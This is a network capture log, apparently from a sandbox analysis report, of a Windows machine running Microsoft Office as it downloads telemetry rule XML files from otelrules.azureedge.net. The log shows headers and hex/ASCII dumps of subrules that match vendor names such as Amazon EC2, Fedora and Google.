Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:01 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:01 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193801Z-15b8d89586fzhrwgk23ex2bvhw00000009y000000000933m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:02 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:02 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:02 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 99f07890-301e-0051-29d2-2538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193802Z-16849878b78bjkl8dpep89pbgg00000005sg0000000032yk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:02 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:02 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:02 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 84cbfce0-201e-0071-26f6-26ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193802Z-17c5cb586f62blg5ss55p9d6fn00000007rg00000000d4mz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:02 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:02 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:02 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 7d1d0a8a-d01e-0049-263b-26e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193802Z-r197bdfb6b4qbfppwgs4nqza8000000005q0000000002b8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:02 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:02 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:02 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 809859d7-601e-00ab-6828-2666f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193802Z-17c5cb586f6hhlf5mrwgq3erx8000000089g00000000cufd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:02 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:02 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:02 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 2a6eba0c-f01e-001f-0a87-295dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193802Z-17c5cb586f66g7mvgrudxte95400000001v000000000ny5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:02 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:03 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:03 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:03 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4a7bd2a8-301e-0096-209e-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193803Z-16849878b78zqkvcwgr6h55x9n00000006h00000000008y6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 19:38:03 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:03 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:03 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193803Z-16849878b785dznd7xpawq9gcn00000008bg00000000ghu6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:03 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:03 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193803Z-16849878b78qfbkc5yywmsbg0c00000006kg00000000v1t9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:03 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:03 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 6c6fa777-201e-003c-1958-2630f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193803Z-17c5cb586f62blg5ss55p9d6fn00000007rg00000000d4rf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:03 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:03 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 07599615-001e-0082-48f6-265880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193803Z-17c5cb586f64v7xsc2ahm8gsgw00000001y000000000c76u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:03 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:03 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193803Z-16849878b78km6fmmkbenhx76n0000000660000000013e3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:04 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 